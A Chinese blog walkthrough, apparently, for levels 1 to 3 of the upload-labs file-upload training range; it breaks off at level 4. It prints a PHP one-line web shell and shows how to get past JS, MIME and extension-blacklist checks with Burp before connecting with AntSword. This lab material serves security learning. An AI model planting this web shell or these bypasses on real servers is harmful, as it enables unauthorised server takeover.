upload-labs通关攻略教程【1-11关】(持续更新中)

Pass-01-js检查

  1. 查看题目源码,发现三种后缀的文件可以上传。在这里插入图片描述
  2. 上传一个后缀为.jpg的文件,文件内容为一句话木马<?php @eval($_POST[123]);?>使用burp抓包并修改文件后缀为php,即可上传成功
  3. 上传成功使用一句话木马连接即可。
  4. 或者直接修改源码删去JS检查的代码,即可将php木马文件直接上传。

Pass-02-MIME验证(content-type验证)

  1. 查看题目源码在这里插入图片描述
  2. 查看题目提示为MIME验证,分析源码,可以通过burp抓包修改数据包的第二个content-type,并查看响应。在这里插入图片描述

在这里插入图片描述
3. 拖拽点击上传成功的图片木马,看到php配置页面即可说明上传成功。在这里插入图片描述
4. 使用上述同样方法上传一句话木马,使用蚁剑连接即可。

Pass-03-黑名单绕过

  1. 查看题目源码在这里插入图片描述用黑名单不允许上传.asp,.aspx,.php,.jsp后缀的文件

  2. 尝试直接上传一个文件后缀为jpg的一句话木马文件,拖拽点击图片,发现提示错误显示。在这里插入图片描述

  3. 基于文件后缀验证名验证方式的分类:
    ①基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。
    ②基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。
    用黑名单不允许上传.asp,.aspx,.php,.jsp后缀的文件,但可以上传.phtml、 .php3 .php5、php4、 .pht、php1、php2、phps【这些后缀会被当成php文件解析】等等。
    由于环境是phpstudy搭建,其中限制了后缀,需要在目录D:\PhpStudy2018\PHPTutorial\Apache\conf下将#AddType application/x-httpd-php.php.phtml改为AddType application/x-httpd-php.php.phtml.php3.php4.php5(记得去掉“#”)在这里插入图片描述

  4. 上传文件后缀为php3的内容为<?php phpinfo();?>的文件,出现php配置页面即可说明上传成功。

  5. 使用上述同样方法上传一句话木马,使用蚁剑连接即可。

Pass-04-ht

  • 11
    点赞
  • 48
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 8
    评论
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

poggioxay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值